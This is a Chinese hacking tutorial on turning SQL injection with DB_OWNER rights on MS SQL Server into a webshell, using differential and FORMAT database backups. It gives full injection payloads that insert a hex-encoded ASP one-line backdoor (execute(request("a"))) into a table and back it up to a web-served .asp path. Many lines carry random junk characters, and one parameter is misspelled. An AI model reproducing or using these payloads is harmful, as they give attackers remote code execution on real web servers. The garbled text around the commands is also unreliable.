DB_OWNER权限得到webshell的改进办法

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DB_OWNER权限得到webshell的两点改进:

减少备份文件大小，得到可执行的webshell成功率提高不少
  C  S( P! z8 Y. m一利用差异备份
) {8 K6 L% P8 m/ N  c* [加一个参数WITH DIFFERENTIAL
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declare @a sysname,@s nvarchar(4000) select @a=db_name(),@s=0x77006F006B0061006F002E00620061006B00 backup database @a to disk=@s
. L. i# F4 ^4 k5 @# f' \* k% S' A- ]6 Dcreate table [dbo].[xiaolu] ([cmd] [image]);
$ m3 v& _2 h2 m, x$ z; h0 r9 einsert into xiaolu(cmd) values(0x3C25657865637574652872657175657374282261222929253E)
declare @a sysname,@s nvarchar(4000) select @a=db_name(),@s=0x65003A005C007700650062005C0077006F006B0061006F002E00610073007000 backup database @a to disk=@s WITH DIFFERENTIAL

) t! [5 }) D6 ?0 q' s5 @二利用完全FORMAT
加一个参数WITH FROMAT
: I# _7 V& g) W) V) K有些页面对数据库要执行几次，而备份又默认是每次都以追加的方式，如果一个注入点对数据库有几次操作，而备份的文件就 几倍的增加，所以

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4 o3 D1 V, N5 r7 \( q declare @a sysname,@s nvarchar(4000) select @a=db_name(),@s=0x77006F006B0061006F002E00620061006B00 backup database @a to disk=@s
, s. g0 d, O1 {4 `3 W, f# e( lcreate table [dbo].[xiaolu] ([cmd] [image]);
insert into xiaolu(cmd) values(0x3C25657865637574652872657175657374282261222929253E)
0 `( x. N# d& `( x7 b- e4 {declare @a sysname,@s nvarchar(4000) select @a=db_name(),@s=0x65003A005C007700650062005C0077006F006B0061006F002E00610073007000 backup database @a to disk=@s WITH FORMAT
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! L$ S% ^7 p% J5 h0 A" X% C总的来说就是那么简单几句,下面以备份数据库model为例子
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id=1;use model create table cmd(str image);insert into cmd(str) values ('<%25execute(request("a"))%25>')
  \0 G" [: ]% x+ c# {
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0 A; t1 @7 m8 U$ b  U7 p1 `9 R% k8 E id=1;backup database model to disk='你的路径‘ with differential,format;--